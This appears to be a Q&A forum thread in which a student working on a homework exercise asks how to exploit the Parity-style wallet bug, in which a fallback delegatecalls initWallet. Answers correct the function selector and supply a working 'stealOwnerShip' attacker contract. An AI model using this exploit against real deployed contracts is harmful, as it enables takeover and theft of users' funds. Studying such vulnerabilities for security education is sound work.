0

I am trying to complete a homework assignment, so I am not doing something malicious. The goal is to learn the vulnerabilities of contracts. I want to call the fallback function of wallet to trigger the initWallet function of WalletLibrary. I am a little confused on how to pass parameters through msg.data.

Here is the code to the contract I am trying to exploit.

contract WalletLibrary {
   function initWallet(address[] _owners, uint _required, uint _daylimit) {
     pass
  }
}

contract Wallet {
   // gets called when no other function matches
  function() payable {
    if (msg.data.length > 0) {
      _walletLibrary.delegatecall(msg.data);
    }
  }
  ...
}

Here is what I have tried unsuccessfully. I believe I am calling the fallback function, but I believe the parameters for msg.data have not been set properly.

contract WalletAttacker {
   ...
  function stealOwnerShip() external {
        address[1] memory owners = [address(this)];
        uint _required = 1;
        uint _daylimit = 1000000000000000000;
        targetWallet.call(bytes4(keccak256("initWallet(address[], uint, uint)")), owners, _required, _daylimit);
    }
}
1
  • Looks like you are on the right track. Try it with bytes4(keccak256("initWallet(address[],uint256,uint256)")) (no spaces). Does that work? May 4, 2020 at 5:20

2 Answers 2

1

That is pretty close. To obtain the function selector you have to remove any white space bytes4(keccak256("initWallet(address[],uint256,uint256)"))

Using solc 0.5 you should use abi.encodeWithSelector()

contract WalletAttacker {
   ...
  function stealOwnerShip() external {
    address[1] memory owners = [address(this)];
    uint _required = 1;
    uint _daylimit = 1000000000000000000;
    targetWallet.call(
      abi.encodeWithSelector(
        bytes4(keccak256("initWallet(address[],uint256,uint256)")),
        owners,
        _required,
        _daylimit
      )
    );
  }
}

Important: For computing the function selector, uint256 and int256 have to be used. You can not use uint or int. Read the docs to learn more about it. Also there are no whitespace allowed between the arguments.

0

three important tip that you should follow:

  1. use uint256 instead of uint (I have problem with uint)
  2. delete any whitespace in "initWallet(address[],uint,uint)" when using encodeWithSelector or encodeWithSignature
  3. do not use similar pragma like: pragma experimental ABIEncoderV2 when using encodeWithSelector or encodeWithSignature

In summery parity wallet has a 3 bug:

  1. initWallet Bug (ownership for everyone)
  2. FrozenEther
  3. killable wallet (stole ownership and kill wallet by delegation of fallback)

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.